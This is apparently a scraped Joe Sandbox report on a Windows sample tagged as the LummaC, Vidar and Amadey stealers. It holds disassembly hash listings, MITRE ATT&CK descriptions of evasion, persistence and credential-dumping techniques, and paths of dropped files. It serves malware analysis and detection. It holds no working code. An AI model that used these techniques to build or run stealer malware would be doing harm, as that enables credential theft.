Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 285719e98617e3f69bb167571e9243bf9bae53721a33cf5ea83b7009218c00b3
Instruction ID: 378cf8339981e4e8b502e8ec01e65ae38e923337bec6f7e354aae6c990d70f86
Opcode Fuzzy Hash: 285719e98617e3f69bb167571e9243bf9bae53721a33cf5ea83b7009218c00b3
Instruction Fuzzy Hash: 3EA1BF71A11306AFEB60DB64C944BAEB7E8BF15314F14812EE815D7742EB35EA04CBA1

Function 000FCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 000FCC66

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 715f3384b423fc21c680d1051ae54345866d7d088500f131c24c43c106b974eb
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: FFB1453290464D9FEB25CF28C982FFEBBE5EF55340F14416ADA45EB682D6348D01DBA0

Function 000DBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 000DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 000DBBE4
_xtime_get.LIBCPMT ref: 000DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 000DBC13

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: c84fd47f0d18512759737536f30e980ffcd8915dce3292f50959682ef51604f7
Instruction ID: 81ac67c71aa470c4dc9ed4d0b8046d8d2f43244dad88496bc0c029b8cea47270
Opcode Fuzzy Hash: c84fd47f0d18512759737536f30e980ffcd8915dce3292f50959682ef51604f7
Instruction Fuzzy Hash: 35210C71A0021AAFDF01EFA4D981EFEB7B9EF08710F514026F501A7352DB709D419BA0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\GDGDHJJDGHCAAAKEHIJKEBAEGH

C:\ProgramData\HCAAEGIJ

C:\ProgramData\HJKECAAAFHJECAAAEBFCAEBFHC

C:\ProgramData\IEGCAAKFBAEGDGCBGCGH

C:\ProgramData\IIEBGIDAAFHIJJJJEGCG

C:\ProgramData\IJKFHIIEHIEGDHJJJKFI

C:\ProgramData\JKKEHJDH

C:\ProgramData\KXB1DTJ58Q9R\00HDTJ

Windows Analysis Report
file.exe

